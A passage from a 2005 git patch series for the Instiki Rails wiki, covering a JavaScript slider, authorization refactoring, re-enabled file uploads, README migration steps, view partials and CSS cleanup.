this.originalLeft = this.currentLeft(); + this.originalTop = this.currentTop(); + } + Event.stop(event); + } + }, + update: function(event) { + if(this.active) { + if(!this.dragging) { + var style = this.handle.style; + this.dragging = true; + if(style.position=="") style.position = "relative"; + style.zIndex = this.options.zindex; + } + this.draw(event); + // fix AppleWebKit rendering + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); + Event.stop(event); + } + }, + draw: function(event) { + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var offsets = Position.cumulativeOffset(this.handle); + + offsets[0] -= this.currentLeft(); + offsets[1] -= this.currentTop(); + + // Adjust for the pointer's position on the handle + pointer[0] -= this.offsetX; + pointer[1] -= this.offsetY; + var style = this.handle.style; + + if(this.isVertical()){ + if(pointer[1] > this.maximumOffset()) + pointer[1] = this.maximumOffset(); + if(pointer[1] < this.minimumOffset()) + pointer[1] = this.minimumOffset(); + + // Increment by values + if(this.values){ + this.value = this.getNearestValue(Math.round((pointer[1] - this.minimumOffset()) / this.increment) + this.minimum); + pointer[1] = this.trackTop() + this.alignY + (this.value - this.minimum) * this.increment; + } else { + this.value = Math.round((pointer[1] - this.minimumOffset()) / this.increment) + this.minimum; + } + style.top = pointer[1] - offsets[1] + "px"; + } else { + if(pointer[0] > this.maximumOffset()) pointer[0] = this.maximumOffset(); + if(pointer[0] < this.minimumOffset()) pointer[0] = this.minimumOffset(); + // Increment by values + if(this.values){ + this.value = this.getNearestValue(Math.round((pointer[0] - this.minimumOffset()) / this.increment) + this.minimum); + pointer[0] = this.trackLeft() + this.alignX + (this.value - this.minimum) * this.increment; + } else { + this.value = Math.round((pointer[0] - this.minimumOffset()) / this.increment) + this.minimum; + } + style.left = (pointer[0] - offsets[0]) + "px"; + } + if(this.options.onSlide) this.options.onSlide(this.value); + }, + endDrag: function(event) { + if(this.active && this.dragging) { + this.finishDrag(event, true); + Event.stop(event); + } + this.active = false; + this.dragging = false; + }, + finishDrag: function(event, success) { + this.active = false; + this.dragging = false; + this.handle.style.zIndex = this.originalZ; + this.originalLeft = this.currentLeft(); + this.originalTop = this.currentTop(); + this.updateFinished(); + }, + updateFinished: function() { + if(this.options.onChange) this.options.onChange(this.value); + }, + keyPress: function(event) { + if(this.active && !this.disabled) { + switch(event.keyCode) { + case Event.KEY_ESC: + this.finishDrag(event, false); + Event.stop(event); + break; + } + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + } + } +} diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 00000000..4ab9e89f --- /dev/null +++ b/public/robots.txt @@ -0,0 +1 @@ +# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file \ No newline at end of file From 35b77f6440b7b02331d38cfa093d527ff0ed28b7 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 2 Nov 2005 09:04:53 +0000 Subject: [PATCH 406/529] A bit of spit and polish --- app/controllers/application.rb | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 9a601b72..b3789604 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -28,7 +28,7 @@ class ApplicationController < ActionController::Base end def check_authorization - if in_a_web? and needs_authorization?(@action_name) and not authorized? and + if in_a_web? and authorization_needed? and not authorized? and redirect_to :controller => 'wiki', :action => 'login', :web => @web_name return false end @@ -98,28 +98,26 @@ class ApplicationController < ActionController::Base def redirect_to_page(page_name = @page_name, web = @web_name) redirect_to :web => web, :controller => 'wiki', :action => 'show', - :id => (page_name || 'HomePage') + :id => (page_name or 'HomePage') end - @@REMEMBER_NOT = ['locked', 'save', 'back', 'file', 'pic', 'import'] def remember_location - if @response.headers['Status'] == '200 OK' - unless @@REMEMBER_NOT.include? action_name or @request.method != :get - @session[:return_to] = @request.request_uri - logger.debug("Session ##{session.object_id}: remembered URL '#{@session[:return_to]}'") - end + if @request.method == :get and + @response.headers['Status'] == '200 OK' and not + %w(locked save back file pic import).include?(action_name) + @session[:return_to] = @request.request_uri + logger.debug "Session ##{session.object_id}: remembered URL '#{@session[:return_to]}'" end end def rescue_action_in_public(exception) - message = <<-EOL + render :status => 500, :text => <<-EOL -

    Internal Error 500

    +

    Internal Error

    An application error occurred while processing your request.

    - + EOL - render_text message, 'Internal Error 500' end def return_to_last_remembered @@ -170,8 +168,8 @@ class ApplicationController < ActionController::Base self.class.wiki end - def needs_authorization?(action) - not %w( login authenticate published rss_with_content rss_with_headlines ).include?(action) + def authorization_needed? + not %w( login authenticate published rss_with_content rss_with_headlines ).include?(action_name) end end From dea8d70c48b85e94c3875b06918c173895605264 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 4 Nov 2005 05:23:34 +0000 Subject: [PATCH 407/529] Improved behavior of JavaScript in the author field [from I2 patch by court3nay] --- app/controllers/application.rb | 30 ++++++++++++------------- app/controllers/file_controller.rb | 18 ++------------- app/controllers/wiki_controller.rb | 4 ++-- app/views/wiki/edit.rhtml | 5 +++-- app/views/wiki/new.rhtml | 4 +++- test/functional/file_controller_test.rb | 6 ++--- 6 files changed, 28 insertions(+), 39 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index b3789604..6fc309b7 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -2,7 +2,7 @@ # Likewise will all the methods added be available for all controllers. class ApplicationController < ActionController::Base - before_filter :connect_to_model, :setup_url_generator, :set_content_type_header, :set_robots_metatag + before_filter :connect_to_model, :check_authorization, :setup_url_generator, :set_content_type_header, :set_robots_metatag after_filter :remember_location, :teardown_url_generator # For injecting a different wiki model implementation. Intended for use in tests @@ -20,15 +20,8 @@ class ApplicationController < ActionController::Base protected - def authorized? - @web.nil? || - @web.password.nil? || - cookies['web_address'] == @web.password || - password_check(@params['password']) - end - def check_authorization - if in_a_web? and authorization_needed? and not authorized? and + if in_a_web? and authorization_needed? and not authorized? redirect_to :controller => 'wiki', :action => 'login', :web => @web_name return false end @@ -41,14 +34,13 @@ class ApplicationController < ActionController::Base if @web_name @web = @wiki.webs[@web_name] if @web.nil? - render_text "Unknown web '#{@web_name}'", '404 Not Found' + render :status => 404, :text => "Unknown web '#{@web_name}'" return false end end @page_name = @file_name = @params['id'] @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? @author = cookies['author'] || 'AnonymousCoward' - check_authorization end FILE_TYPES = { @@ -67,10 +59,6 @@ class ApplicationController < ActionController::Base super(file, options) end - def in_a_web? - not @web_name.nil? - end - def password_check(password) if password == @web.password cookies['web_address'] = password @@ -168,8 +156,20 @@ class ApplicationController < ActionController::Base self.class.wiki end + private + + def in_a_web? + not @web_name.nil? + end + def authorization_needed? not %w( login authenticate published rss_with_content rss_with_headlines ).include?(action_name) end + def authorized? + @web.password.nil? or + cookies['web_address'] == @web.password or + password_check(@params['password']) + end + end diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index e8356fb5..61e5f000 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -1,9 +1,4 @@ -require 'fileutils' -require 'application' -require 'instiki_errors' - -# Controller that is responsible for serving files and pictures. -# Disabled in version 0.10 +# Controller responsible for serving files and pictures. class FileController < ApplicationController @@ -46,8 +41,6 @@ class FileController < ApplicationController end def import - return if file_uploads_disabled? - check_authorization if @params['file'] @problems = [] @@ -69,15 +62,8 @@ class FileController < ApplicationController protected def check_allow_uploads - - # TODO enable file uploads again after 0.10 release - unless RAILS_ENV == 'test' - render_text 'File uploads are not ready for general use in Instiki 0.10', '403 Forbidden' - return false - end - unless @web.allow_uploads? - render_text 'File uploads are blocked by the webmaster', '403 Forbidden' + render :status => 403, :text => 'File uploads are blocked by the webmaster' return false end end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 712c4640..2e7eb3b7 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -217,9 +217,9 @@ class WikiController < ApplicationController end def save - redirect_home if @page_name.nil? - cookies['author'] = { :value => @params['author'], :expires => Time.utc(2030) } + render(:status => 404, :text => 'Undefined page name') and return if @page_name.nil? + cookies['author'] = { :value => @params['author'], :expires => Time.utc(2030) } begin if @page wiki.revise_page(@web_name, @page_name, @params['content'], Time.now, diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index cdf3d5d1..270d5bec 100644 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -18,8 +18,9 @@

    as - + <%= text_field_tag :author, @author, + :onfocus => "this.value == 'AnonymousCoward' ? this.value = '' : true;", + :onblur => "this.value == '' ? this.value = 'AnonymousCoward' : true" %> | <%= link_to('Cancel', {:web => @web.address, :action => 'cancel_edit', :id => @page.name}, {:accesskey => 'c'}) diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml index d7202268..e7a73bca 100644 --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -18,7 +18,9 @@

    as - + <%= text_field_tag :author, @author, + :onfocus => "this.value == 'AnonymousCoward' ? this.value = '' : true;", + :onblur => "this.value == '' ? this.value = 'AnonymousCoward' : true" %>

    <%= end_form_tag %> diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 24fc2125..80b9099e 100755 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -121,12 +121,12 @@ class FileControllerTest < Test::Unit::TestCase def test_uploads_blocking set_web_property :allow_uploads, true - r = process 'file', 'web' => 'wiki1', 'id' => 'filename' + process 'file', 'web' => 'wiki1', 'id' => 'filename' assert_success set_web_property :allow_uploads, false - r = process 'file', 'web' => 'wiki1', 'id' => 'filename' - assert_equal '403 Forbidden', r.headers['Status'] + process 'file', 'web' => 'wiki1', 'id' => 'filename' + assert_response 403 end end From 0c412e4a26c854ab66493c4c4dfdfc0b57e069bb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 4 Nov 2005 05:26:32 +0000 Subject: [PATCH 408/529] CHANGELOG update. Previous commit also included: reenabled FileController, refactoring of authorization code and some other tweaks --- CHANGELOG | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG b/CHANGELOG index 6b2dcbda..d8e49998 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -2,6 +2,8 @@ SQL-based backend (ActiveRecord) Replaced internal link generator with routing Fixed --daemon option + Upgraded to Rails 0.14.2 + Re-enabled file uploads * 0.10.2: Upgraded to Rails 0.13.1 From 4779a4fa4eefc6aec061f93dfd032844a3a1f6e8 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 4 Nov 2005 05:57:31 +0000 Subject: [PATCH 409/529] Diocumented installation and data migration in README --- README | 53 ++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 40 insertions(+), 13 deletions(-) diff --git a/README b/README index 09d29a9f..ae268ea1 100755 --- a/README +++ b/README @@ -4,10 +4,20 @@ Admitted, it's YetAnotherWikiClone[http://c2.com/cgi/wiki?WikiWikiClones], but w on simplicity of installation and running: Step 1. Download - Step 2. Run "instiki" -Step 3. Chuckle... "There's no step three!" (TM) +Here it should say: "Step 3. Chuckle... "There's no step three!" (TM)" +... but this is a beta version that introduces an SQL-based backend, so: + +3. Kill 'instiki' +4. Install SQLite 3 database engine from http://www.sqlite.org/ +5. Install SQLite 3 driver for Ruby from http://sqlite-ruby.rubyforge.org/ +6. Install Rake from http://rake.rubyforge.org/ +7. Execute 'rake db_schema_import create_sessions_table' +8. Make an embarrassed sigh (as I do while writing this) +9. Run 'instiki' again +10. Pat yourself on the shoulder for being such a talented geek +11. At least, there is no step eleven! (TM) You're now running a perfectly suitable wiki on port 2500 that'll present you with one-step setup, followed by a textarea for the home page @@ -38,21 +48,35 @@ gathering. ===Missing: * File attachments -===Install from gem: -* Install rubygems -* Run "gem install instiki" -* Change to a directory where you want Instiki to keep its data files (for example, ~/instiki/) -* Run "instiki" - this will create a "storage" directory (for example, ~/instiki/storage), and start a new Wiki service - -Make sure that you always launch Instiki from the same working directory, or specify the storage directory in runtime parameters, such as: - instiki --storage ~/instiki/storage - ===Command-line options: * Run "instiki --help" ===History: * See CHANGELOG +===Migrating Instiki 0.10.2 storage to Instiki-AR database +1. Install Instiki-AR and check that it works (you should be able to create a web, edit and save a HomePage) +2. Execute + ruby script\import_storage \ + -t /full/path/to/instiki0.10/storage \ + -i /full/path/to/instiki0.10/installation \ + -d sqlite (or mysql, or postgres, depending on what you use) \ + -o instiki_import.sql + for example: + ruby script\import_storage -t c:\instiki-0.10.2\storage\2500 -i c:\instiki-0.10.2 -d sqlite -o instiki_import.sql +3. This will produce instiki_import.sql file in the current working directory. + Open it in a text editor and inspect carefully. +4. Connect to your production database (e.g., 'sqlite3 db\prod.db'), + and have it execute instiki_import.sql (e.g., '.read instiki_import.sql') +5. Execute ruby script\reset_references + (this script parses all pages for crosslinks between them, so it may take a few minutes) +6. Restart Instiki +7. Go over some pages, especially those with a lot of complex markup, and see if anything is broken. + +The most common migration problem is this: +If you open All Pages screen and see a lot of orphaned pages, +you forgot to run ruby script\reset_references after importing the data. + ===Download latest from: * http://rubyforge.org/project/showfiles.php?group_id=186 @@ -63,8 +87,11 @@ Make sure that you always launch Instiki from the same working directory, or spe * same as Ruby's --- -Author:: David Heinemeier Hansson +Authors:: + +Versions 0.1 to 0.9.1:: David Heinemeier Hansson Email:: david@loudthinking.com Weblog:: http://www.loudthinking.com - +From 0.9.2 onwards:: Alexey Verkhovsky +Email:: alex@verk.info From c7295287a4f72dab610398684a186c0407961a1d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 4 Nov 2005 06:19:10 +0000 Subject: [PATCH 410/529] Extract the inbound links list from page.rhtml and revision.rhtml into a partial --- app/views/wiki/_inbound_links.rhtml | 13 +++++++++++++ app/views/wiki/page.rhtml | 23 +++-------------------- app/views/wiki/revision.rhtml | 13 ++----------- 3 files changed, 18 insertions(+), 31 deletions(-) create mode 100644 app/views/wiki/_inbound_links.rhtml diff --git a/app/views/wiki/_inbound_links.rhtml b/app/views/wiki/_inbound_links.rhtml new file mode 100644 index 00000000..4c5e4e12 --- /dev/null +++ b/app/views/wiki/_inbound_links.rhtml @@ -0,0 +1,13 @@ +<% unless @page.linked_from.empty? %> + + | Linked from: + <%= @page.linked_from.collect { |referring_page| link_to_existing_page referring_page }.join(", ") %> + +<% end %> + +<% unless @page.included_from.empty? %> + + | Included from: + <%= @page.included_from.collect { |referring_page| link_to_existing_page referring_page }.join(", ") %> + +<% end %> diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 432f688b..b7292e35 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -71,8 +71,8 @@ | Views: <%= link_to('Print', - {:web => @web.address, :action => 'print', :id => @page.name}, - {:accesskey => 'p', :name => 'view_print'}) %> + { :web => @web.address, :action => 'print', :id => @page.name }, + { :accesskey => 'p', :name => 'view_print' }) %> <% if defined? RedClothForTex and RedClothForTex.available? and @web.markup == :textile %> | <%= link_to 'TeX', {:web => @web.address, :action => 'tex', :id => @page.name}, @@ -83,24 +83,7 @@ <% end %> - <% unless @page.linked_from.empty? %> - - | Linked from: - <%= @page.linked_from.collect { |referring_page| - link_to_existing_page referring_page - }.join(", ") - %> - - <% end %> - - <% if @page.included_from.length > 0 %> - - | Included from: <%= @page.included_from.collect { |referring_page| - link_to_existing_page referring_page - }.join(", ") - %> - - <% end %> + <%= render :partial => 'inbound_links' %> diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml index e7a73bca..fcc6d565 100644 --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -30,4 +30,5 @@ function cleanAuthorName() { document.getElementById('authorName').value = 'AnonymousCoward'; } } +document.forms["editForm"].elements["content"].focus(); From ac72f9b807621a47f12a1ad6aa4cda233eb7b230 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 13 Nov 2005 17:48:54 +0000 Subject: [PATCH 420/529] Small correction to the last commit --- app/views/wiki/new.rhtml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml index fcc6d565..95136007 100644 --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -14,7 +14,7 @@ %>

    - +

    as From 0b1a80a852916a7250c05dd2ea4ac65c83fd704e Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 14 Nov 2005 08:38:37 +0000 Subject: [PATCH 421/529] [BUILD STILL BROKEN] File uploads roughly speaking work (to about same extent as in 0.10) --- app/controllers/application.rb | 2 - app/controllers/file_controller.rb | 22 ++- app/controllers/wiki_controller.rb | 9 +- app/models/web.rb | 42 ++-- app/models/wiki_file.rb | 13 +- app/views/admin/edit_web.rhtml | 4 - app/views/file/file.rhtml | 39 ++-- app/views/layouts/default.rhtml | 9 +- lib/url_generator.rb | 6 +- public/stylesheets/instiki.css | 245 +++++------------------- test/functional/file_controller_test.rb | 66 ++++--- test/test_helper.rb | 4 +- test/unit/page_renderer_test.rb | 8 +- 13 files changed, 172 insertions(+), 297 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 362558fe..e43b0d8e 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -38,8 +38,6 @@ class ApplicationController < ActionController::Base return false end end - @page_name = @file_name = @params['id'] - @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? @author = cookies['author'] || 'AnonymousCoward' end diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index fdf3b8ae..724e6b4c 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -9,23 +9,26 @@ class FileController < ApplicationController def file if @params['file'] # form supplied - new_file = upload_file(@file_name, @params['file']) + new_file = @web.wiki_files.create(@params['file']) if new_file.valid? flash[:info] = "File '#{@file_name}' successfully uploaded" return_to_last_remembered else - # FIXME handle validation errors more gracefully - flash[:errors] = new_file.errors.to_s + # pass the file with errors back into the form + @file = new_file + render end - else + else + (render(:status => 404, :text => 'Unspecified file name') and return) unless @file_name # no form supplied, this is a request to download the file file = WikiFile.find_by_file_name(@file_name) if file send_data(file.content, :filename => @file_name, :type => content_type_header(@file_name)) + else + @file = WikiFile.new(:file_name => @file_name) + render end end - # if it's neither a supplied form for upload, nor a request for a known file, - # display the file/file.rhtml template (which happens to be an upload form) end def cancel_upload @@ -41,7 +44,7 @@ class FileController < ApplicationController if @problems.empty? flash[:info] = 'Import successfully finished' else - flash[:error] = "Import finished, but some pages were not imported:

  • " + + flash[:error] = 'Import finished, but some pages were not imported:
  • ' + @problems.join('
  • ') + '
  • ' end return_to_last_remembered @@ -60,6 +63,11 @@ class FileController < ApplicationController return false end end + + def connect_to_model + super + @file_name = @params['id'] + end private diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 2e7eb3b7..dbed5666 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -272,9 +272,16 @@ class WikiController < ApplicationController @tex_content = RedClothForTex.new(@page.content).to_tex end + protected + + def connect_to_model + super + @page_name = @params['id'] + @page = @wiki.read_page(@web_name, @page_name) if @page_name + end private - + def convert_tex_to_pdf(tex_path) # TODO remove earlier PDF files with the same prefix # TODO handle gracefully situation where pdflatex is not available diff --git a/app/models/web.rb b/app/models/web.rb index 1ca17a9e..b37811a6 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -6,10 +6,6 @@ class Web < ActiveRecord::Base Wiki.new end - def file_yard - @file_yard ||= FileYard.new("#{Wiki.storage_path}/#{address}", max_upload_size) - end - def settings_changed?(markup, safe_mode, brackets_only) self.markup != markup || self.safe_mode != safe_mode || @@ -84,6 +80,23 @@ class Web < ActiveRecord::Base address end + def create_files_directory + return unless allow_uploads == 1 + dummy_file = self.wiki_files.build(:file_name => '0', :description => '0', :content => '0') + dir = File.dirname(dummy_file.content_path) + begin + require 'fileutils' + FileUtils.mkdir_p dir + dummy_file.save + dummy_file.destroy + rescue => e + logger.error("Failed create files directory for #{self.address}: #{e}") + raise "Instiki could not create directory to store uploaded files. " + + "Please make sure that Instiki is allowed to create directory " + + "#{File.expand_path(dir)} and add files to it." + end + end + private # Returns an array of all the wiki words in any current revision @@ -114,32 +127,15 @@ class Web < ActiveRecord::Base end end - def create_files_directory - return unless allow_uploads == 1 - dummy_file = self.wiki_files.build(:file_name => '0', :description => '0', :content => '0') - dir = File.dirname(dummy_file.content_path) - begin - require 'fileutils' - FileUtils.mkdir_p dir - dummy_file.save - dummy_file.destroy - rescue => e - logger.error("Failed create files directory for #{self.address}: #{e}") - raise "Instiki could not create directory to store uploaded files. " + - "Please make sure that Instiki is allowed to create directory " + - "#{File.expand_path(dir)} and add files to it." - end - end - def default_web? defined? DEFAULT_WEB and self.address == DEFAULT_WEB end def files_path if default_web? - "#{RAILS_ROOT}/public/#{self.address}/files" - else "#{RAILS_ROOT}/public/files" + else + "#{RAILS_ROOT}/public/#{self.address}/files" end end end diff --git a/app/models/wiki_file.rb b/app/models/wiki_file.rb index 89b166c0..635025e5 100644 --- a/app/models/wiki_file.rb +++ b/app/models/wiki_file.rb @@ -4,9 +4,9 @@ class WikiFile < ActiveRecord::Base before_save :write_content_to_file before_destroy :delete_content_file - validates_presence_of %w( web file_name description ) + validates_presence_of %w( web file_name ) validates_length_of :file_name, :within=>1..50 - validates_length_of :description, :within=>1..255 + validates_length_of :description, :maximum=>255 def self.find_by_file_name(file_name) find(:first, :conditions => ['file_name = ?', file_name]) @@ -34,7 +34,11 @@ class WikiFile < ActiveRecord::Base end def content=(content) - @content = content + if content.respond_to? :read + @content = content.read + else + @content = content + end end def content @@ -46,6 +50,7 @@ class WikiFile < ActiveRecord::Base end def write_content_to_file + web.create_files_directory unless File.exists?(web.files_path) File.open(self.content_path, 'wb') { |f| f.write(@content) } end @@ -54,4 +59,6 @@ class WikiFile < ActiveRecord::Base FileUtils.rm_f(content_path) if File.exists?(content_path) end + + end diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 558ef68a..58734136 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -48,9 +48,6 @@ /> Count pages
    -

    diff --git a/app/views/file/file.rhtml b/app/views/file/file.rhtml index 63c188eb..4216a9ed 100644 --- a/app/views/file/file.rhtml +++ b/app/views/file/file.rhtml @@ -1,19 +1,32 @@ <% - @title = "Upload #{@file_name}" + @title = "Upload #{h @file_name}" @hide_navigation = false %> -

    +<%= error_messages_for 'file' %> + <%= form_tag({:controller => 'file', :web => @web_name, :action => 'file'}, {:multipart => true}) %> -

    - File to upload: + <%= hidden_field 'file', 'file_name' %> +

    + Content of <%= h @file_name %> to upload (required):
    - -

    -

    - as - -

    -<%= end_form_tag %> -

    \ No newline at end of file + +
    + + Please note that the file you are uploadng will be named <%= h @file_name %> on the wiki - + regardless of how it is named on your computer. To change the wiki name of the file, please go + <%= link_to :back %> and edit the wiki page that refers to the file. + +
    +
    + Description (optional): +
    + <%= text_field "file", "description", "size" => 40 %> +
    +
    + as + <%= text_field_tag :author, @author, + :onfocus => "this.value == 'AnonymousCoward' ? this.value = '' : true;", + :onblur => "this.value == '' ? this.value = 'AnonymousCoward' : true" %> +
    +<%= end_form_tag %> \ No newline at end of file diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index fb5e550e..d43208fa 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -55,15 +55,16 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" <% end %> -<% if @error or @flash[:error] %>
    -

    <%= escape_preserving_linefeeds(@error || @flash[:error]) %>


    -<% end %> - <% if @flash[:info] %>

    <%= escape_preserving_linefeeds @flash[:info] %>


    <% end %> <%= render 'navigation' unless @web.nil? || @hide_navigation %> + +<% if @error or @flash[:error] %> +
    <%= escape_preserving_linefeeds(@error || @flash[:error]) %>
    +<% end %> + <%= @content_for_layout %> <% if @show_footer %> diff --git a/lib/url_generator.rb b/lib/url_generator.rb index fcc08312..ed4da4c4 100644 --- a/lib/url_generator.rb +++ b/lib/url_generator.rb @@ -47,14 +47,14 @@ class UrlGenerator < AbstractUrlGenerator end when :publish if known_file - href = @controller.url_for :controller => 'wiki', :web => web_address, :action => 'published', + href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file', :id => name %{#{text}} else %{#{text}} end else - href = @controller.url_for :controller => 'wiki', :web => web_address, :action => 'file', + href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file', :id => name if known_file %{#{text}} @@ -108,7 +108,7 @@ class UrlGenerator < AbstractUrlGenerator %{#{text}} end else - href = @controller.url_for @controller => 'file', :web => web_address, :action => 'pic', + href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file', :id => name if known_pic %{#{text}} diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index e1bcb19c..667fb8e9 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -1,31 +1,12 @@ -#Container { - float: none; - margin: 0 auto; - text-align: center; -} - -#Content { - margin: 0; - padding: 5px; - text-align: left; - border-top: none; - float: left; -} - body { background-color: #fff; color: #333; } +body, p, ol, ul, td { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 18px; } -body, p, ol, ul, td { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 13px; - line-height: 18px; -} +#Container { float: none; margin: 0 auto; text-align: center; } +#Content { margin: 0; padding: 5px; text-align: left; border-top: none; float: left; } a { color: #000; } a:visited { color: #666; } -a:hover { - color: #fff; - background-color:#000; -} +a:hover { color: #fff; background-color:#000; } .newWikiWord { background-color: #eee; } .newWikiWord a:hover { background-color: white; } @@ -35,208 +16,72 @@ h1 { font-size: 28px } h2 { font-size: 19px } h3 { font-size: 16px } -h1#pageName { - margin: 5px 0 0; - padding: 0; - line-height: 28px; -} - -h1#pageName small { - color: #444; - line-height: 10px; - font-size: 10px; - padding: 0; -} +h1#pageName { margin: 5px 0 0; padding: 0; line-height: 28px; } +h1#pageName small { color: #444; line-height: 10px; font-size: 10px; padding: 0; } a.nav, a.nav:link, a.nav:visited { color: #000; } a.nav:hover { color: #fff; background-color:#000; } li { margin-bottom: 7px } -.navigation { - margin-top: 5px; - font-size : 12px; - color: #999; -} - +.navigation { margin-top: 5px; font-size : 12px; color: #999; } .navigation a:hover { color: #fff; background-color:#000; } - -.navigation a { - font-size: 11px; - color: black; - font-weight: bold; -} - -.navigation small a { - font-weight: normal; - font-size: 11px; -} +.navigation a { font-size: 11px; color: black; font-weight: bold; } +.navigation small a { font-weight: normal; font-size: 11px; } -.navOn{ - font-size: 11px; - color: #444; - font-weight: bold; - text-decoration: none; -} +.navOn{ font-size: 11px; color: #444; font-weight: bold; text-decoration: none; } -.help { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; -} +.help { font-family: verdana, arial, helvetica, sans-serif; font-size: 11px; } -.inputBox { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; - background-color: #eee; - padding: 5px; - margin-bottom: 20px; -} +.inputBox { font-family: verdana, arial, helvetica, sans-serif; font-size: 11px; background-color: #eee; padding: 5px; margin-bottom: 20px; } -blockquote { - display: block; - margin: 0px 0px 20px 0px; - padding: 0px 30px; - font-size:11px; - line-height:17px; - font-style: italic; -} +blockquote { display: block; margin: 0px 0px 20px 0px; padding: 0px 30px; font-size:11px; line-height:17px; font-style: italic; } -pre { - background-color: #eee; - padding: 10px; - font-size: 11px; - overflow: auto; -} +pre { background-color: #eee; padding: 10px; font-size: 11px; overflow: auto; } -ol.setup { - font-size: 19px; - font-family: georgia, verdana, sans-serif; - padding-left: 25px; -} +ol.setup { font-size: 19px; font-family: georgia, verdana, sans-serif; padding-left: 25px; } +ol.setup li { margin-bottom: 20px } -ol.setup li { - margin-bottom: 20px -} +.byline { font-size: 10px; font-style: italic; margin-bottom: 10px; color: #999; } -.byline { - font-size: 10px; - font-style: italic; - margin-bottom: 10px; - color: #999; -} +.references { font-size: 10px; } -.references { - font-size: 10px; -} +.diffdel, del.diffmod { background: pink; } +.diffins, ins.diffmod { background: lightgreen; } -.diffdel, del.diffmod { - background: pink; -} +#footer { height: 14px; padding: .25em 0; } +#footer p { font-size: 10px; color: gray; font-style: italic; margin: 0; float: right; text-align: right; } -.diffins, ins.diffmod { - background: lightgreen; -} +div.inputFieldWithPrompt { margin: 0.75em 0; } -#footer { - height: 14px; - padding: .25em 0; -} -#footer p { - font-size: 10px; - color: gray; - font-style: italic; - margin: 0; - float: right; - text-align: right; -} +div.errorExplanation { color: #900; font-style: italic; font-weight: bold; margin: 1.5em 0; padding: 1em; background: #FFA; } +div.errorExplanation h2 { display: none; } +div.errorExplanation p { padding: 0; margin: 0; border: none; } +div.errorExplanation ul { padding: 0; margin: 0.5em 0 0 2em; border: none; } +div.errorExplanation li { padding 0; margin: 0; border: none; } +div.fieldWithErrors input { border: 1px solid #900; } -#error { - color: #900; - font-style: italic; - font-weight: bold; - width: 600px; -} -#info { - color: #060; - font-style: italic; - width: 600px; -} -#TextileHelp table { - margin-bottom: 0; -} +#info { color: #060; font-style: italic; width: 600px; } +#TextileHelp table { margin-bottom: 0; } +#TextileHelp table+h3 { margin-top: 11px; } +#TextileHelp table td { font-size: 11px; padding: 3px; vertical-align: top; border-top: 1px dotted #ccc; } +#TextileHelp table td.arrow { padding-right: 5px; padding-left: 10px; color: #999; } +#TextileHelp table td.label { font-weight: bold; white-space: nowrap; font-size: 10px; 